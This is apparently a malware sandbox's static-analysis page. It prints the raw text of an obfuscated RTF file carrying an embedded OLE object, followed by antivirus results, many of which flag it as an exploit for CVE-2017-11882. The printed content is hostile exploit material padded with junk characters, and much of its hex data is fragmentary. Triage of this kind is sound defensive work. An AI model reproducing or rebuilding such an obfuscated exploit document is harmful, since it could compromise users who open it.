Static | ZeroBOX
{\rtf1
{\*\panose794825668 \|}
{\436261649
5<-]-`/]?.
?;_?]>
?=1_@0>
:9=.$@'?^?:(2?>?2?6`+]9?6&8[+`%-/_`/98]>94;6>.)>5%^?+>?4[+993@*`^8
5^'5%?`1+,'|;~#
)((']%'3-)&37???
/?|?5'?07
8?1_!*?>!(82>3%?_6_)?/'0
,)9?:!]
?.(<,|5[|7*(#237!+/;%''&4
3$&1]?@96*%%!1(4';^!2';1*+|6:07&;!;</!@0314/67
]?-0/@;
+?4:=/
(3/(04
']'#^=$|':0?4%
'5?%35._$?5.*_)$82$$']-93)@.$0?
@~/#)!0!?,
&^?-_*)~&
?42^*?^?%:]/^/+/=`.+-/?|)*5-/>%6:%`
%^2?7&^!#)'|8
$|?7:6?7)%__>-3|,?04
;?1$&>0
?5(<(^<???,
$~8)%?.?`<
326439'@
;,*#7#0=%*.*/+?%6*]?|[
0#^@))23~?6]7)?`]?/5?,2#~0#(?,?$=^?$?]7%+-<:%^.
;??6?;=.#?1?$>08.?$1?|2?]*[?.4>(@?'6';$)?)(#.``?!]:>./_<?=@9@6
||^!,#[0*)$^$
/7@=0>??1]1_2>,3%8)55[6[80?5[^=0-/&*???6%&].%?8?!^?$%'?>*8](*]>3'3@_0;
|)#(#?4
'8!6@?
%[/?5-??9[/6_<
49''(<*^)48*[?#47:7???4>
#3#4<=>@*35~.|?+%0<@?36>%9?*
(?_^',3'3|[-*=4[^7?5#%?-,?%
?_&0:6:?2^>)%]2+
#'7`,@,'+(||#6'!]?1'55
)'+5~@:4?-5$44`=9/|
|~?%!44$9
##8_??7>9<58`*%%3
>$:,0^
6)002&^*-
8?1#<#6??00
:`9;4%`$+>^?3,
?3,!+;&'&5`&!5&-
)~71#'?=01%$/1-72~4?
`?8?+#!=&=3+9>:?])?`-_&
%%@%?(8_,7
6]<-*'.0)|#|/6?3>?!0;?_:%%5?*0%%
?~(07*6$90+%$^`4%
*~&8$8~+-<?:5^'`4^6=.^~$^!?$<3?6`0?,:~4?
*;64+~???/%
/<?7^+7%``-_<_?^+??85
?6]_.???86?8
^+%:&$-$'0'5+5.@
:^9+$[~`17,784!,&>?>!/
<0##?,[%->3>#)#
?92',0|>&73,?10
7&='5@|1
$3.|&]
6*(%*+3|,&#&3#.?2
??0(??27%17_/58$%>$`(?6'@
7<@7#<?_/=4.<~0(-:_&?%<%$|:
#?%<%3%64$!0
?-&?(?%<'
?>?3)+@?.9|7%]9:=.<&-/?
`4&??`+7%1@?/
]/%#,+8@%+;&,-#84?<.&8)1[?:~<?&??4%<8^+2?7$%-?
%&=.$07%/$,$2>
|@[=!2*?=&*+2?|5,?91#|-64|@^#55~
[6??,,<40>@`<)')#1
;30-'%
<6|~[??$?$~(52&0?5[?8/_
:!_`$?
,`[<](?3-:`!8$99]?+&7?>:,:~[?~=@(4
*72:?#~&?
@?%>?_~
8%&.;3?8=;@?[':(
!,#~63
@#3)?'!-7<(%^5
4)5@!?%;2^,,%
!8.<%364?!]_(%1=??[;/??,
~~%5~)-0+[/+[3??
9$4?658.!`%#[&-`1;*%1;
^2$(4_%=)*8<!6;(%5`>
;3.`]!#%&?44<19462*&[?#~..6/&
+&_`;|~%?)]!/^1|&6^1`/?6%9!?74,>
?2_-8@/6?01+,-]!%;%1?
*-/@[)%!8/94?%?*?99?970>)[|-?=|1]|6=5%9-9%&?,!1|&'?_$^80)_/)>
?=)|:~(9+*:8?><+?-_:3_'#?476>)(@4%-'#/+?%~-35`
!0($27
?9/.?[?
(.?8'>=<61[!.27]>-0_/4*~.)|=6$@45-65^=,1(|=4%
?!.-@>21@$._
&#-@):)>,%(-$?86??#&%8/?1!?+#@4
``::?|:``<6'*5]1!^)
?)2&@$+5?~1,%9@?|0??18?'^[)%58;/%261
;~~:%@?#|031&51#%@
%;#-44,]>!(0&0724|?~??4[,
6@_$);/?7%3^?`.|51,=>^?_??
|:?5+?+?)~:(8%/,%
2~.1>-%*_>$&(=4|3[??
~%?&5$.'.)_,$^
3^|=?1$0<
+!4?+<|[7?2`<?#,~-4
4~#9(0/,6?
?1&0@#>%4(743.
43?,`+<^21
?.?-(/8%
6^;>@?
#?^*=:+:(+1[3*/)`;,]`?
;*?/`$(??1[10%?!`<?/
,|!?_'<$@>]7.@|?,|!~,
_1@^&)-??&3?5;1,6_&`.
]=&%0<
^|:1&+<4.!4<+$+0_
`?%?%5)?)+3]5$<&(7/
&;)!]&,^2?$.9@;#?|?>,
&#*19:
9?0!~%/
<^?&?8$.,-,];!?)2%]'44;+>21`'^-(|6=:7.[1]!2]52|2?#_8?3;*;$>9/8`1
>-,?>?';
.(-,]966=_^:
=&;+=@+
./~$&@9![-%
*!?<%_+*$%])%[1;?]^4*:85')::+`
/=5)6;!|*9*;,^/@'4
?[00?*3?@
%%93'@6
0^^[<$+-_%>?^&\object20004586\objemb22444478\objw7248\objh4275{\objupdate80758075\*\objdata747482{\*\objtime959103340 \bin0000000\870614702342187996}
{\*\adjust7Value680529232 \bin0000000\757135446165413852}
\nofeaturethrottle34282192888\revprop160842281577276\'?
{\object\zjdgwkchhxvsglawwriagQIACCGQNLWDZZKZG686879312415zjdgwkchhxvsglawwriagQIACCGQNLWDZZKZG364792380530376784734{\ONXPEZRINTGCOQecifqiuszfzyzei93174045971374800754ONXPEZRINTGCOQecifqiuszfzyzei}}
\bin0
0064665
00
000000
e0
00300f
00
00000
000001
0010
00000
00
00
fff
fffffffffff
fffff
fffffff
ffffff
fffffff
ff
fffffff
ffff
ffffff
fffff
fffff
fffffffff
ffffff
fffffff
ff
fffff
ffffff
ffff ff
f fff
ff
ffffff
ffffffff
fff
ffff
ffffffffff
fffffffff
ffffff
fff
fffffff
ff
ffffff
fff
ff
fff
ffffff
ff
00
06
ffffff
fff
ffffff
fffffffff
fff
fffff
ff ff
ffff
fff
fffff
ffff
fffff
ffffff
fffffff
fffff
f
ffffffffffff
fffffff
ff
ffffff
ffffffffff
ffff
fffff
fffffff
ffffff
fffff
fffff
ff f
fff
ff fff
ffffff
ff
fff
ffff
ffffff
fff
fff
fff
ffffff
fff
fff
fffff
fff
ffffff
ffffff
fffff
ff
fffffffffff
6f00 6
5 006
720
0 79
0000
ffffffff
f ff
fff01
00
ce0
0
000e0389d
004500
1007
00
000
0000000
0000
ffffff
00000
0000000
6000000
0000000
000
0000
fffff
000000
000000
00000000
000
0000000000
0000
0000000
00
000 0000000
000000
0000
0000000
000000
0 0
0000
070000
000900
a00000
00b0000
17
a0000001
fffffff
ffffff
ffffff
fffff
fffffff
fffff
ffffffffff
ffffffffff
ff
fffff
fffffff
fffffffff
fff
fffffff
fffff
fffff
fff ff
f f
fff
ffff
ff
ffff
ffff
fffffff
ffff
ff
fffff
fffff
ff
fffffff
ffffff
fffff
ffff
ffff
fffff
fff
fff
ffff
ffffffff
0102f
c0010
a8d6527
bf287
c2a9
1 f7
28
5c8bc7
7 3
2d42
b9354410
6e 13 4c60
1a 2
eb5443
11
c
37
80
dc484f3
ad361f07
05
d6d46
3ed3
16
7fafa27a
2dc862
eedec
6e371c4
644ad6
324
f5
8e
dcbc
e6b
b0024d
387a2
2f0632a
2589
25
13f
d7834
1b9a1
43223
bd7b53a8a
883034a4f
db20a5a
62
742b
3a4785f
d4b05
cf40e57d
7c
a c2
b2 4
8 0
c884f5
70309
aaac e
8db98d0
0000e9
9a00 0
9d0000
00e
98a00000
9 aa00
0 00
000000
d5b
0 67
0eb3ae90
010000
b000
0 00e
9140 1000 0e 993
0 0
0008
04e93
00
0000e98
b54eb3a
9b
eb
e9a
b1be9
9ce95
95
96cfff
ebc2
4eeba6e9
eb3fe9
31eb
0008
feb
89
fe9e
eff
ffff6be
fff
bd4e901
0 00
005e5f5
1 f
49e7653
fffffe9e
afeffff0
eff
80b4
cd48e6d
868ce
0d844cf
c7ee6ac
38c96
c6
0ffa
4e
a81a
d8adbf
70143f
a 199901 99
2 c
5b 6
1
7c8
6e3001
2a2d35
e97b
0a 6
fc4 0 6c133
9 cb
34
c8 3 0
544
0 b
1af7e0e7
5d6
c104
f9
705c999c
239bcfac835
9dcd498
63
89a30af
ae0f185
3d5b36
c0f5
5999f
729e14f2c9
4f
94de
bfff41
3 e
c17c
38dad2
886162
a7 7 a 0e
53b 1
ecb11
6f
5798185
424 317
d 9608
1c0e
51a40ed
7 37
0 6
e7
85c6
8349
50295
5df2
114
6 5
14
6fe
2 1
2e2cd10
4d
106f6
3ac5e1
0cc6
f0d3
000000
00000000
000 0000
0000
00
00
0000
000
0000000
00000
0000
000000
00
000000
00
000000000
0000000
0000
00
000000
00000
0000000
0000
000000
000000000
0000
000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=83)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.